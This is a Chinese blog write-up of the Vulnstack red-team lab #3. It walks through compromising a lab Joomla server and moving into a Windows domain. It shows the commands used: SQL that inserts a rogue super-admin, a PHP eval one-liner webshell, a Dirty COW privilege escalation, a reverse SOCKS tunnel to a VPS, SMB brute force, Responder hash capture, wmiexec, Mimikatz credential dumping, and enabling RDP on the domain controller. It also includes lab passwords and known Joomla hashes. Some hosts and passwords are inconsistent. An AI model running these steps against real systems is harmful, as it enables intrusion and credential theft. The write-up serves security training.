ATT&CK实战系列 —— 红队实战(三)

环境准备

网络拓扑图

外网网段:172.26.239.0/24
内网网段:192.168.93.0/24

主机外网内网
Centos172.26.239.89192.168.93.100
UbantuNA192.168.93.120
Win Server 2012NA92.168.93.10
Win Server 2018NA192.168.93.20
Win7NA192.168.93.30
攻击机 Kali172.26.239.18NA

注意事项

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。 挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。 除重新获取ip,不建议进行任何虚拟机操作。 参考虚拟机网络配置,添加新的网络,该网络作为内部网络。

外网打点

已知信息 : web ip 172.26.239.89

端口扫描

nmap -sS -O -sV -A 172.26.239.89

save_image/Pasted image 20220422150456.png

扫描结果:22,80,3306三个端口,可知开启了web和mysql服务。

Web打点

访问页面

save_image/Pasted image 20220422151225.png

通过源码与namp扫描都可以得知他使用了Joomla模板
save_image/Pasted image 20220422152241.png
通过百度搜索漏洞
https://blog.csdn.net/smli_ng/article/details/115799954

使用 w9scan 未能扫到漏洞

目录扫描

save_image/Pasted image 20220422155836.png

robot.txt

save_image/Pasted image 20220423171428.png

web.config.txt

save_image/Pasted image 20220423171925.png

htaccess.txt

save_image/Pasted image 20220423172047.png

administrator/index.php -> 后台登录页面

save_image/Pasted image 20220423172200.png

/configuration.php~ -> 配置文件

save_image/Pasted image 20220423180150.png

1.php -> 爆出 phpinfo();

save_image/Pasted image 20220422155943.png

信息汇总

  1. 存在后台登录页
  2. 得到phpinfo,可得绝对路径
  3. 泄露配置文件
  4. 泄露htaccess.txt文件

尝试数据库 getshell

从administrator/index.php页面中似乎泄露了数据库的账号密码,尝试登录-成功连接

save_image/Pasted image 20220423190444.png

直接写Shell

SELECT "<?php phpinfo(); ?>" INTO OUTFILE "/var/www/html/3.php"

save_image/Pasted image 20220423161336.png
发现权限不足,无法写入

慢日志getshell

SHOW VARIABLES LIKE 'general%';

save_image/Pasted image 20220423161945.png

set global general_log = "ON"

save_image/Pasted image 20220423161914.png
提示权限不足

进入后台

寻找用户名密码

因为连接数据库,可以直接查看其中的表,其中umnbt_users表存放了用户名密码,得到用户名为admin,但是密码并非常规md5加密,而是使用了另外的加密方式
save_image/Pasted image 20220423162839.png

通过官方文档,查看修改管理员密码的方法

img

# Joomla!1.5密码恢复

本页仅为Joomla!2.5和更高版本。如果你还在使用Joomla!1.5 [这里可以找到指令](https://docs.joomla.org/Special:MyLanguage/J1.5:How_do_you_recover_or_reset_your_admin_password%3F).

通常,您可以从后端用户管理器添加、编辑和删除用户和密码。要做到这一点,您必须登录为超级管理员组的成员。

在某些情况下,这可能是不可能的。例如,您的网站可能已被“黑客攻击”,并有密码或用户更改。或者知道密码的人不再可用。或者你忘记了使用的密码。

在这些情况下,它仍然是可以改变的Joomla!数据库,以便可以作为超级管理员登录回。这些都可以到Joomla的可能方法!管理员



## 目录

•       [1 方法1:configuration.php文件](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.951.EF.BC.9Aconfiguration.php.E6.96.87.E4.BB.B6)

•       [2 方法2:直接编辑数据库](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.952.EF.BC.9A.E7.9B.B4.E6.8E.A5.E7.BC.96.E8.BE.91.E6.95.B0.E6.8D.AE.E5.BA.93)

–      [2.1 更改数据库中的密码](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.9B.B4.E6.94.B9.E6.95.B0.E6.8D.AE.E5.BA.93.E4.B8.AD.E7.9A.84.E5.AF.86.E7.A0.81)

–      [2.2 添加新超级管理员使用r](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.B7.BB.E5.8A.A0.E6.96.B0.E8.B6.85.E7.BA.A7.E7.AE.A1.E7.90.86.E5.91.98.E4.BD.BF.E7.94.A8r)

### 方法1:configuration.php文件

如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。

1.     使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。

2.     下载配置文件。

3.     打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行

public $root_user='myname';

在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。

4.     保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。

此用户现在将是临时的超级管理员。

5.     登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。

6.     当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。

7.     使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。

如果您没有用户知道他们的密码,您不能利用前端注册,您可能需要更改您的数据库,如下面所述的文件。



### 方法2:直接编辑数据库

如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。

## 更改数据库中的密码

如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

确定您更改您的密码一旦您重新访问

这些指示將说明如何手动更改密码到Word中 - "secret"

1.     导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

2.     找到并单击“添加表*users”**在表的列表(注:你可能有一个前缀,**jos*,简单地去_users表你的前缀)。

3.     点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。

4.     查找要更改其密码的用户并按该行的编辑图标。

5.     将显示允许您编辑密码字段的窗体。复制的意义

​        d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

​        在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。

6.     使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。



### 添加新超级管理员使用r

如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。

1.     导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

2.     按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。

3.     删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。

4.     使用下面的SQL查询添加另一个管理员帐户。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

确保您的数据库表前缀匹配!

下面的代码使用jos31*作为表名的前缀仅是一个示例表前缀。当你第一次安装**Joomla**的前缀是**“_random* ***或你设定的具体过。你需要改变所有发生的\*****jos31_”****(你的安装设置前缀)发现,在下面的代码前缀安装使用。**

**Joomla****使用SQL****代码**  [![Joomla 2.5](D:\typora\Img_typora\clip_image032-165344592861218.png)](https://docs.joomla.org/File:Compat_icon_2_5.png) [![Joomla 3.x](D:\typora\Img_typora\clip_image033-165344592865722.png)](https://docs.joomla.org/File:Compat_icon_3_x.png) [![Joomla 4.x](D:\typora\Img_typora\clip_image035-165344592865723.png)](https://docs.joomla.org/File:Compat_icon_4_x.png)   

INSERT INTO `jos31_users`
  (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
 VALUES ('Administrator2', 'admin2',
   'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
 INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
 VALUES (LAST_INSERT_ID(),'8');
 复制

在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

Warning!

警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。

上面的例子更改密码为“select”。其他两个可能的值如下所示:

•       password = "this is the MD5 and salted hashed password"



•       admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT

•       secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

•       OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

尝试直接修改密码,没有作用。

尝试增加超级用户,使用以下代码,增加一个用户名为admin123,密码为secret 的超级用户。

INSERT INTO `am2zu_users`
  (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
 VALUES ('Administrator2', 'admin123',
   'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
 INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
 VALUES (LAST_INSERT_ID(),'8');

save_image/Pasted image 20220423211826.png

使用新用户进入后台界面 administrator/index.php

save_image/Pasted image 20220423214526.png

文件上传getshell

进入后台,寻找可以上传的功能点。

  1. Content 下的Media 功能点,可以上传图片。
    

• 过滤了php文件,似乎还会检测图片内容,绕过失败。

save_image/Pasted image 20220423224910.png

  1. Extensions (拓展) 下的 Templates(模板) 功能点
    

save_image/Pasted image 20220423224744.png
选择一个模板进入,可以修改和创建文件内容
save_image/Pasted image 20220423225008.png
尝试写入一个新文件phpinfo.php,测试是否可用
save_image/Pasted image 20220423225105.png
发现没有给出文件位置,需要自己寻找
通过error.php可用大致推断出文件位置
save_image/Pasted image 20220423225223.png
或者dirsearch扫描的目录加上功能点也可用大致推断出文件位置

文件位置为 10.229.16.154/templates/beez3/phpinfo.php
save_image/Pasted image 20220423225334.png

写入一句话木马

<?php @eval($_POST[123])?>

蚁剑进行连接
save_image/Pasted image 20220423225826.png

绕过disable_functions

打开终端,输入命令,发现回包错误
save_image/Pasted image 20220423230135.png

打开phpinfo页面,发现disable_functions禁用了一些函数

这里交给蚁剑的插件进行绕过,生成新的shell,重新连接即可绕过
save_image/Pasted image 20220423230953.png

内网渗透

Websehll 渗透

ping探测

可以初步推测为Linux系统
save_image/Pasted image 20220424111335.png

查看当前用户

whoami

save_image/Pasted image 20220424111408.png

查看系统版本

uname -a

确认系统为Liunx系统
save_image/Pasted image 20220424111441.png

查看主机名

hostname

save_image/Pasted image 20220424111851.png

查看当前组

groups

save_image/Pasted image 20220424111954.png

查看本机ip信息

ifocnfig -a

发现奇怪的点,无法看到外网网卡信息,只有内网网卡信息
save_image/Pasted image 20220424112158.png

查看路由信息

route

至少我们确定了内网网段为 192.168.93.0/24
save_image/Pasted image 20220424135555.png

查看邻居表

ip neigh

save_image/Pasted image 20220424135758.png

查看arp缓冲区

arp -e

save_image/Pasted image 20220424140007.png

查看DNS

cat /etc/resolv.conf

save_image/Pasted image 20220424140052.png

从路由信息可以发现,内网存在另一个ip 192.168.93.100

查看开启的端口

netstat -ano

save_image/Pasted image 20220424161817.png

查看 /etc/passwd

save_image/Pasted image 20220424162342.png

查看程序与服务

ps -ef

save_image/Pasted image 20220424174500.png

尝试上线msf失败,尝试提权没有权限,并且没有外网网卡,这时候怀疑使用了代理,将内网的流量代理到与外网连接的机器上面。

寻找敏感文件

/tmp/mysql/test.txt
save_image/Pasted image 20220424175857.png

通过前面开启的端口,推测可能是ssh的密码,尝试连接

主机:192.168.154.129
用户名:wwwuser
密码:wwwuser_123Aqx

save_image/Pasted image 20220424182112.png

ssh 渗透

查看当前用户

whoami

save_image/Pasted image 20220424182904.png

查看系统版本

uname -a 

save_image/Pasted image 20220424182944.png

查看主机名

hostname

save_image/Pasted image 20220424183022.png

查看当前组

groups

save_image/Pasted image 20220424183111.png

查看当前目录

pwd

save_image/Pasted image 20220424183140.png

查看本机ip信息

ifconfig -a

双网卡,外网ip,这应该就是流量代理的外网主机
save_image/Pasted image 20220424183216.png

查看路由信息

route

多个没见过的ip,后续可以进行扫描
save_image/Pasted image 20220424183341.png

查看邻居表

ip neigh

save_image/Pasted image 20220424185302.png

查看arp缓存区

arp -a

save_image/Pasted image 20220424185337.png

查看程序与服务

ps -ef

save_image/Pasted image 20220424185451.png

上线msf

save_image/Pasted image 20220424190409.png

内网横向

脏牛提权

sudo提权

查看可以使用sudo的命令

sudo -l

save_image/Pasted image 20220424212922.png
无权限,夭折

msf进行提权

查询可以利用的漏洞模块

use post/multi/recon/local_exploit_suggester

save_image/Pasted image 20220424193148.png

选择相应的模块进行提权
save_image/Pasted image 20220424193605.png
提权失败,没有返回session

上传脚本(linux-exploit-suggester),对linux的漏洞进行测试
项目地址:https://github.com/mzet-/linux-exploit-suggester
save_image/Pasted image 20220424214004.png

尝试脏牛漏洞提权

发现存在 CVE-2016-5195 即 脏牛内核漏洞

下载脏牛漏洞exp,上传执行

成功提权

内网网段扫描

run post/multi/gather/ping_sweep RHOSTS=192.168.93.0/24

扫描出 10,20,30网段
save_image/Pasted image 20220424224205.png

添加路由

run post/multi/manage/autoroute CMD=autoadd

save_image/Pasted image 20220424224922.png

nmap扫描

使用msf的nmap进行扫描

192.168.93.10

nmap -A 192.168.93.10

save_image/Pasted image 20220424224832.png

系统: Windows Server 2012 R2
存在域
开启445 可能存在ms17-010

192.168.93.20

namp -A 192.168.93.20

save_image/Pasted image 20220424230528.png

系统:Winodws 2008
80 有web服务
445 可能存在ms17-010

192.168.93.30

namp -A 192.168.93.30

save_image/Pasted image 20220424231212.png

系统:Windows
445 可能存在ms17-010

开启socket代理

拿下了web服务器那么,我们要进一步对内网进行横向渗透,因为看到192.168.93.20开启了80端口,就想看看能不能从这里突破。
既然要看内网的web,那么肯定得吧流量代理出来,这里使用ew搭建soket隧道。

vps端

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

服务端(192.168.93.100)

./ew_for_linux64 -s rssocks -d 192.168.154.130 -e 8888

proxychains 配置代理

修改配置文件

/etc/proxychains.conf

添加我们的代理端口

socks5 127.0.0.1 1080

成功代理
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504171929.png

内网打点

Web服务

刚刚看到192.168.93.20开了80端口,用curl看看是什么网站

proxychains curl http://192.168.93.20:80

ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504172137.png

可惜是 404 ,放弃。

ms17-010

尝试了一波ms17-010,毕竟开着445 139端口。
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504172641.png
失败,也是,怎么可能这么简单。

SMB爆破

既然ms17-010不行,也没有域,那就尝试爆破smb,反正开着445端口,有机会。

放入我的祖传字典,进行爆破
使用smb_login模块

use auxiliary/scanner/smb/smb_login

设置目标ip

set rhosts 192.168.93.10

设置爆破的用户名

set SMBUSER administrator

设置字典目录

set pass_file 2021_top100.txt

设置线程

set threads 20

启动!

run

ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504194421.png
可惜,祖传字典失败了。

后面看了看密码是123qwe!ASD,感觉是我的祖传字典不够厉害,跑去github找有咩有包含这个密码的字典,后面发现要么是123qwe! 要么是 123qweASD ,就是没有这个,可惜~

横向渗透

伪造smb服务器

其他几台机器也开了数据库3389/1433,而且密码是一样的。

这里使用Responder.py来伪造smb服务器来获取hash,然后利用mssql来进行触发验证

先将工具传到centos上,运行脚本python Responder.py -I eth1 -wrf
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505091930.png
然后接着在msf触发验证
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505091804.png
触发验证后,可以看到,已经成功抓到ntml hash
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504214554.png

使用john或hashcat进行破解
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505091620.png

得到密码为qwe123!ASD

内网获取cmd

使用工具wmiexec.py来进行获取cmd,执行前,先在msf中开启socks,然后利用proxychains来进行执行命令。

proxychains python3 wmiexec.py ‘administrator:123qwe!ASD@192.168.93.20’
复制

成功获取cmd
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505093504.png
查看当前用户和ip
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505094040.png
systeminfo
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505105721.png
因为只有cmd并且不出网,所以不能直接进行文件上传。
这里有三个方案:

  1. 直接开启3389进行文件上传

  2. 使用smbclient工具进行文件上传

  3. 将文件上传到centos机器上,因为centos机器上有python,可以开启web服务,然后内网机器进行文件下载

Smbclient 上传文件

这里选择用smbclient,首先kali可以直接使用,而且比开启3389方便

proxychains smbclient //192.168.93.20/c$ -U administrator

使用 put 进行文件传输

上线msf
因为机子无法出网,需要正向连接,使用bind_tcp进行上线。
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505112650.png

加载kiwi

load kiwi

报错
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122246.png

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

将msf进程迁移到system权限下的进程
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122423.png
getsystem提权
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122458.png
查看凭证
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122820.png

成功获取域控的密码

zxcASDqw123!!

拿下域控

查找域控
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505123033.png

192.168.93.10

用wmiexec.py获取cmd,后开启域控的3389,进行登录

开启3389

开远程桌面功能

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

防火墙放行

netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

当我使用rdesktop进行远程连接会报错。

Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).

ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505220153.png
换成remmina连接即可成功上线
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505215836.png

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值